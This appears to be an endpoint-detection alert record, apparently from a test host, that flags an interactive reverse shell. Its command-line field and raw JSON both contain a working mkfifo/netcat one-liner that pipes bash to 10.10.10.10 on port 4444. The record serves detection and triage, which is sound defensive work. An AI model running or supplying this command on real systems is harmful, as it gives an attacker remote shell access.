Alert Information
High
- Alert ID
ind:021368f9220b45cdb2760a069897c1c8:1766234332412242239-30103-1304592- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234332412242239-30103-1304592- 설명
- Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.
- 호스트
- siemdev-14
- 상태
- new
- 생성 시간
- 2025-12-20 21:39:54
- 업데이트 시간
- 2025-12-20 22:38:54
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- Remote Access Tools
Command Line
bash -c timeout 5 bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 10.10.10.10 4444 >/tmp/f'
Raw JSON Data
{"id":"ind:021368f9220b45cdb2760a069897c1c8:1766234332412242239-30103-1304592","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234332412242239-30103-1304592","agent_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.","severity":70,"severity_name":"High","confidence":80,"tactic":"Command and Control","tactic_id":"TA0011","technique":"Remote Access Tools","technique_id":"T1219","cmdline":"bash -c timeout 5 bash -c \u0027rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2\u003E\u00261 | nc 10.10.10.10 4444 \u003E/tmp/f\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"a59fc4da19d169c175b247bfaf4a21c2ee7c16c3ed2820daa807ab12affe98fc","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:39:54.564979105Z","updated_timestamp":"2025-12-20T13:38:54.567937502Z","device":{"device_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"siemdev-14","local_ip":"172.17.0.1","external_ip":"211.198.135.5","mac_address":"16-bc-32-c0-b2-f4","platform_name":"Linux","os_version":"Rocky Linux 10.1"},"aggregate_id":"aggind:021368f9220b45cdb2760a069897c1c8:25801691028","CreatedAt":"2025-12-20T21:39:54.5649791+09:00","UpdatedAt":"2025-12-20T22:38:54.5679375+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
021368f9220b45cdb2760a069897c1c8
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